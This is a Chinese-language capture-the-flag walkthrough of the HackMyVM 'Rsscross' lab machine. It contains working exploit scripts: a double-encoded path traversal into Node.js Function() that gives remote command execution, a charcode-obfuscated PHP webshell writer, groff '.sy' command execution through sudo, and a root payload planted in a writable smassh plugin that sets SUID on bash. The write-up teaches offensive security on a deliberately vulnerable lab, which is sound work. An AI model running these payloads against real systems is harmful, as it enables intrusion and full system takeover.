HackMyVM Rsscross 通关记录|Node.js Function RCE、MD5 换行破解与 smassh 提权
靶机链接:Rsscross
0x01 基本信息
| 名称 | IP |
|---|---|
| Kali Linux | 192.168.1.113 |
| Rsscross | 192.168.1.108 |
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp、80/tcp、3000/tcp filtered | 明确 Web 与本地 Node 服务是重点 |
| 源码泄露 | /app.tar | 获得 PHP 前端和 Node.js 后端源码 |
| 代码审计 | Function(body.match(...)[0] + ...)() | 确认 Node.js 会执行 PHP 输出中的 JS |
| 路径穿越 | %252e%252e%252f...article.show.php%253fid%253dX | 让 Node 读取含 payload 的文章页 |
| RCE | process.mainModule.require(\child_process`)` | 以 www-data 执行命令 |
| WebShell | fs.writeFileSync('/var/www/html/w.php', ...) | 获得稳定命令执行入口 |
| 凭据获取 | MySQL flag.echo | 得到 MD5 hash 07e2a8ac8bd28bc3a0ffc4fab3145b5b |
| 哈希破解 | md5("zombie666\n") | 获得 zb:zombie666 |
| 横向移动 | sudo -u mob groff -U + .sy | 在 mob 上下文执行命令 |
| root 提权 | smassh add 导入 zb 可写插件 | root 执行恶意 Python,设置 SUID bash |
0x02 侦察与源码泄露
1. 端口扫描
rustscan -a 192.168.1.108 -- -sV -sC -O
nmap -p- -T4 --min-rate=10000 192.168.1.108
关键结果:
| 端口 | 服务 | 指纹 / 备注 |
|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 |
80/tcp | HTTP | Apache httpd 2.4.65 (Debian),RssCross RSS 聚合平台 |
3000/tcp | filtered | Node.js Express 后端,仅 localhost 可访问 |
WSL Ubuntu 复测时,80 端口返回:
HTTP/1.1 200 OK
Server: Apache/2.4.65 (Debian)
Content-Type: text/html; charset=UTF-8
2. 目录枚举
dirsearch -u http://192.168.1.108 -e php,txt,html,zip,tar.gz,rar,bak,sql,tar,old,7z
关键发现:
| 端点 | 说明 |
|---|---|
/app.tar | 6.2MB 源码备份 |
/config.php | 返回 hacker! |
/admin/ | 管理员后台,无认证 |
/admin/article.manage.php | 文章管理 |
/admin/article.add.php | 新增文章 |
/admin/article.modify.php | 修改文章 |
/article.show.php | 文章详情 |
/Rssinfo/index.php/ID | JSON 格式文章信息 |
/GetRss/index.php/ID | RSS XML 格式 |
WSL Ubuntu 复测时,/app.tar 为 Content-Type: application/x-tar,Content-Length: 6492160,/admin/ 返回 302,/config.php 返回 hacker!。
源码下载:
curl -s -o app.tar http://192.168.1.108/app.tar
tar xvf app.tar
解压后包含:
app/
var/www/html/
目录扫描的通用方法可参考知识库:Dirsearch Web 路径扫描。
3. 数据库凭据
var/www/html/connect.php 泄露数据库配置:
$host = 'localhost';
$user = 'ctf';
$pass = '98vwqld912!@823c@#';
$dbname = 'article';
4. Node.js Function() 执行点
app/app.js 的 /api/:id 会请求 PHP 生成的内容,并把其中 var passage = {...}; 拼进 Function() 执行:
app.get("/api/:id", function(req, res, next) {
var link = `http://localhost/Rssinfo/index.php/${req.params.id}`;
request(options, function (error, response, body) {
const data = Function(
body.match(/var passage = \{.*};/gm)[0]
+ 'let json_data=JSON.parse(JSON.stringify(passage));'
+ 'return json_data;'
)();
})
});
Rssinfo/index.php 直接把数据库字段嵌进 JavaScript:
$id = htmlspecialchars(end(explode("/", $_SERVER['PHP_SELF'])), ENT_QUOTES);
$data = mysqli_query($conn, "select title,author,content,dateline from article where id='$id'");
$data = mysqli_fetch_assoc($data);
?>
<script>var passage = {"author":"<?php echo $data['author'];?>","title":"<?php echo $data['title']?>"};</script>
输入过滤在 html.php 中:
function html($arr){
foreach ($arr as $key => $value){
$arr[$key] = htmlspecialchars($arr[$key], ENT_QUOTES);
}
return $arr;
}
htmlspecialchars(..., ENT_QUOTES) 会编码 &、"、'、<、>,但不编码反引号和换行。字段限制在 article.add.handle.php:
if(strlen($title) > 10 || strlen($author) > 10){ die(...); }
只有 title 和 author 限 10 字符,description 与 content 没有限制。
0x03 漏洞利用:双编码路径穿越到 Node.js RCE
1. 攻击思路
直接向 Rssinfo/index.php 注入不方便,因为它只输出 title 和 author。真正适合放 payload 的是 article.show.php,它会输出完整文章内容,包括无长度限制的 content 字段。
目标是让 Node.js 的这一段:
var link = `http://localhost/Rssinfo/index.php/${req.params.id}`;
最终访问:
http://localhost/article.show.php?id=X
构造:
GET /GetRss/index.php/%252e%252e%252f%252e%252e%252farticle.show.php%253fid%253dX
编码链:
- 浏览器到 Apache:
%252e%252e%252f不被 Apache 直接规范化。 - PHP
GetRss把路径拼到http://localhost:3000/api/...。 - Express 路由解码后,
req.params.id变成../../article.show.php?id=X。 - Node.js 再请求
http://localhost/Rssinfo/index.php/../../article.show.php?id=X。 - Apache 规范化路径后返回
/article.show.php?id=X。
2. 命令执行 payload
content 字段写入:
var passage = {
title: process.mainModule.require(`child_process`).execSync(`id`).toString()
};
关键点:
| 问题 | 处理方式 |
|---|---|
引号被 htmlspecialchars 编码 | 使用反引号模板字面量 |
title / author 只有 10 字符 | payload 放进 content |
Rssinfo 不输出 content | 双编码路径穿越读取 article.show.php |
require 不可直接用 | 使用 process.mainModule.require |
| 命令输出需要回显 | 放入 title,再从 RSS <title> 提取 |
自动化验证脚本:
#!/usr/bin/env python3
import re
import requests
ADD = "http://192.168.1.108/admin/article.add.handle.php"
GETRSS = "http://192.168.1.108/GetRss/index.php/"
def exec_cmd(cmd):
payload = (
"var passage = {title: process.mainModule.require(`child_process`)"
".execSync(`" + cmd + "`).toString()};"
)
data = {"title": "x", "author": "x", "description": "x", "content": payload}
requests.post(ADD, data=data, timeout=15)
r2 = requests.get("http://192.168.1.108/admin/article.manage.php", timeout=15)
ids = list(map(int, re.findall(r"article\.modify\.php\?id=(\d+)", r2.text)))
new_id = max(ids)
encoded = f"%252e%252e%252f%252e%252e%252farticle.show.php%253fid%253d{new_id}"
r3 = requests.get(GETRSS + encoded, timeout=15)
titles = re.findall(r"<title><!\[CDATA\[(.*?)\]\]></title>", r3.text, re.DOTALL)
return titles[0].strip() if titles else r3.text[:200]
print(exec_cmd("id"))
返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
3. 写入 WebShell
为了避开 shell 重定向、$ 展开和特殊字符编码问题,使用 Node.js 的 fs.writeFileSync,并用 String.fromCharCode 拼出模块名、路径和 PHP 内容。
目标 PHP:
<?php system($_GET[0]); ?>
字符编码:
php_code = "<?php system($_GET[0]); ?>"
file_path = "/var/www/html/w.php"
module_name = "fs"
def to_charcode(s):
return ",".join(str(ord(c)) for c in s)
print(to_charcode(php_code))
print(to_charcode(file_path))
print(to_charcode(module_name))
得到:
60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,48,93,41,59,32,63,62
47,118,97,114,47,119,119,119,47,104,116,109,108,47,119,46,112,104,112
102,115
写入脚本:
#!/usr/bin/env python3
import re
import requests
ADD = "http://192.168.1.108/admin/article.add.handle.php"
GETRSS = "http://192.168.1.108/GetRss/index.php/"
php_chars = "60,63,112,104,112,32,115,121,115,116,101,109,40,36,95,71,69,84,91,48,93,41,59,32,63,62"
path_chars = "47,118,97,114,47,119,119,119,47,104,116,109,108,47,119,46,112,104,112"
fs_chars = "102,115"
js_payload = (
"var passage = {title: (process.mainModule.require("
f"String.fromCharCode({fs_chars})).writeFileSync("
f"String.fromCharCode({path_chars}), "
f"String.fromCharCode({php_chars})), "
"String.fromCharCode(79,75))};"
)
data = {"title": "ws", "author": "ws", "description": "ws", "content": js_payload}
requests.post(ADD, data=data, timeout=15)
r2 = requests.get("http://192.168.1.108/admin/article.manage.php", timeout=15)
ids = list(map(int, re.findall(r"article\.modify\.php\?id=(\d+)", r2.text)))
new_id = max(ids)
encoded = f"%252e%252e%252f%252e%252e%252farticle.show.php%253fid%253d{new_id}"
r3 = requests.get(GETRSS + encoded, timeout=15)
print(r3.text[:200])
WebShell 验证:
curl "http://192.168.1.108/w.php?0=id"
返回:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
WebShell 写入通用判断可参考:任意文件写入到 WebShell。
0x04 后渗透:MySQL MD5 换行哈希到 SSH
1. MySQL 数据库
WebShell 下可以访问本地 MySQL,root 为空密码:
mysql -u root
SHOW DATABASES;
USE flag;
SHOW TABLES;
SELECT * FROM flag.echo;
flag.echo 中得到:
07e2a8ac8bd28bc3a0ffc4fab3145b5b
这是 echo password | md5sum 生成的 MD5,也就是 md5(password + "\n"),不是普通的 md5(password)。
2. Python 破解
这种带尾部换行的 MD5 最稳妥的方式是直接脚本化。通用命令已整理到知识库:MD5 换行符哈希破解。
#!/usr/bin/env python3
import gzip
import hashlib
target = "07e2a8ac8bd28bc3a0ffc4fab3145b5b"
found = None
with gzip.open("/usr/share/wordlists/rockyou.txt.gz", "rt", encoding="latin-1", errors="replace") as f:
for line in f:
word = line.rstrip("\r\n")
digest = hashlib.md5((word + "\n").encode("latin-1")).hexdigest()
if digest == target:
found = word
break
print(f"CRACKED: {found}")
结果:
CRACKED: zombie666
WSL Ubuntu 中已复核:
import hashlib
print(hashlib.md5(b"zombie666\n").hexdigest())
输出:
07e2a8ac8bd28bc3a0ffc4fab3145b5b
得到 SSH 凭据:
zb : zombie666
3. SSH 登录 zb
ssh zb@192.168.1.108
读取 user flag:
cat /home/zb/user.txt
结果:
flag{user-0e78dc497d5a2bd2a3fab7169dcfed12}
0x05 权限提升:groff 横向移动到 smassh 插件劫持
1. zb 的 sudo 权限
sudo -l
返回:
User zb may run the following commands on RssCross:
(mob) NOPASSWD: /usr/bin/groff
groff 在 unsafe 模式 -U 下支持 .sy 请求,通过 system() 执行 shell 命令。为了避免 PostScript 输出干扰,把 stdout 重定向到 /dev/null,命令输出走 stderr。
sudo -u mob groff -U 2>/tmp/groff.err 1>/dev/null << 'EOF'
.sy whoami
.sy id
.sy sudo -l
EOF
cat /tmp/groff.err
可以在 mob 上下文执行命令,并继续查看 mob 的 sudo 权限。
2. mob 的 sudo 权限
User mob may run the following commands on RssCross:
(ALL) NOPASSWD: /usr/local/bin/smassh
smassh 是 Python CLI 应用,版本 3.2.1,使用 click 框架。常规劫持路线被限制:
| 方案 | 结果 |
|---|---|
PYTHONPATH=/tmp 注入 | sudo 禁止设置环境变量 |
/tmp/smassh/ CWD 劫持 | Python 3.9 sys.path 不含 CWD |
.pth 注入 | dist-packages 目录不可写 |
| TUI 交互 | 打字练习程序,无法直接执行命令 |
关键是插件目录里有一个异常权限文件:
ls -la /usr/local/lib/python3.9/dist-packages/smassh/src/plugins/
结果:
-rw-rw-r-- 1 root zb 1637 Dec 3 add_language.py
-rw-r--r-- 1 root root 0 Dec 3 __init__.py
add_language.py 属组为 zb 且组可写。mob 运行:
sudo /usr/local/bin/smassh add test
时,root 会导入 smassh.src.plugins.add_language,也就会执行 zb 可写的 Python 代码。
3. 覆盖 add_language.py
以 zb 覆盖插件:
cat > /usr/local/lib/python3.9/dist-packages/smassh/src/plugins/add_language.py << 'EOF'
import os
os.system("id")
os.system("cat /root/root.txt")
os.system("chmod u+s /bin/bash")
EOF
4. 让 mob 触发 smassh
为方便稳定操作,先在攻击机生成 SSH 密钥:
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N '' -q
用 groff .sy 把公钥写入 mob:
ssh zb@192.168.1.108 "
sudo -u mob groff -U 2>/dev/null 1>/dev/null << EOF
.sy mkdir -p /home/mob/.ssh
.sy echo '$(cat ~/.ssh/id_ed25519.pub)' > /home/mob/.ssh/authorized_keys
.sy chmod 700 /home/mob/.ssh
.sy chmod 600 /home/mob/.ssh/authorized_keys
EOF
"
登录 mob 并触发:
ssh mob@192.168.1.108 'sudo /usr/local/bin/smassh add test 2>&1'
返回:
uid=0(root) gid=0(root)
flag{root-d8545053956ab6af6be78451ebfdde55}
5. SUID bash
payload 已经执行:
chmod u+s /bin/bash
因此可以回到 zb 直接使用:
ssh zb@192.168.1.108 '/bin/bash -p -c "cat /root/root.txt; id"'
返回:
flag{root-d8545053956ab6af6be78451ebfdde55}
uid=1000(zb) euid=0(root)
0x06 最终成果 (Final Flags)
User Flag
- 路径:
/home/zb/user.txt - 内容:
flag{user-0e78dc497d5a2bd2a3fab7169dcfed12}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-d8545053956ab6af6be78451ebfdde55}
数据库哈希
- 内容:
07e2a8ac8bd28bc3a0ffc4fab3145b5b=md5("zombie666\n")
凭据汇总
| 用户 / 服务 | 凭据 | 来源 |
|---|---|---|
MySQL ctf | 98vwqld912!@823c@# | /app.tar 中 connect.php |
MySQL root | 空密码 | WebShell 后本地连接 |
zb | zombie666 | flag.echo 的 MD5 换行哈希破解 |
复盘总结
Rsscross 的关键不是单点漏洞,而是 PHP 前端、Node.js 后端和本地 sudo 配置之间的信任边界连续失效。
- 源码备份是整条链的入口。
/app.tar暴露了数据库凭据、Node.js API 逻辑和过滤细节。 - 跨服务路径拼接非常危险。 PHP 把用户路径拼给本地 Node,Node 再拼给 Apache,双编码让路径穿越跨过了多个组件边界。
Function()执行数据就是 RCE。 一旦可控内容进入Function(),过滤引号并不能阻止反引号模板字面量。echo password | md5sum会多一个换行。 这类哈希应按md5(password + "\n")处理,否则普通字典破解会错过正确密码。- sudo 链可以分两段利用。
zb不能直接 root,但能通过groff到mob;mob的 root 程序又会导入zb可写的 Python 插件。